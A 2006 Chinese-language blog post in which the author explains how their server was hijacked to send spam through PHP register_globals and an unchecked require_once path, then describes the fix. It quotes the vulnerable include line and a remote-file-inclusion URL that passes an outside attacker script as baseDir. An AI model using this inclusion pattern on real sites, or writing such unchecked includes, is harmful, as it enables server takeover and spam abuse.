2006-02 月份文章 顯示方式:簡文 | 列表

2006年02月20日

Register_global 的危險!

前兩天由於自己家中的主機怪怪得,所以做了一些檢查,赫然發現一堆不知道從那出來的 Email 再寄送,當下嚇到怕變成 SPAM 的木馬!∼

詳細檢查後發現主要是由 Register_global 開啟加上 require_once 沒有確認路徑變數的關係,導致被 spam 在 /tmp 下塞入了一個 script 自動發信!

該段語法如下 (xxxx.inc.php):

require_once $baseDir."include_once/adodb....";

主要就是在於沒有檢查 $baseDir 的位置與內容,且開啟了 register_global 的關係,所以可以直接採用:

http://xxxx.xxxx.xxxx/include_base/init_database.php?baseDir=http://xxxx.xx.xxx/hackerScript.txt; .....等。

原來 include_base 應該是給 /index.php 來 include 後使用的,而非給 client 存取的,所以讓使用者可以直接存取造成了安全上得隱憂。

另外 $baseDir 又容由另外一個檔案進行設定,所以 init_database.php 並沒有檢查該變數的內容。

基本上這種問題若是有關閉 register_global 就不會發生囉,不過由於原來的系統上有一些程式需求要 register_global = on 才能使用,所以才會這樣設定。

剛剛查過網路上,相類似的情況可以在預設 php.ini 為 register_global = off ,而在 .htaccess 設定 PHPINI 來改變特定目錄下的特性。

anyway,現在把東西重新調整過也把被偷發的垃圾信都刪掉了,希望以後不會再次發生這樣的問題了。

Posted by darkhero at 10:57回應(0)引用(0)PHP程式設計
 [1]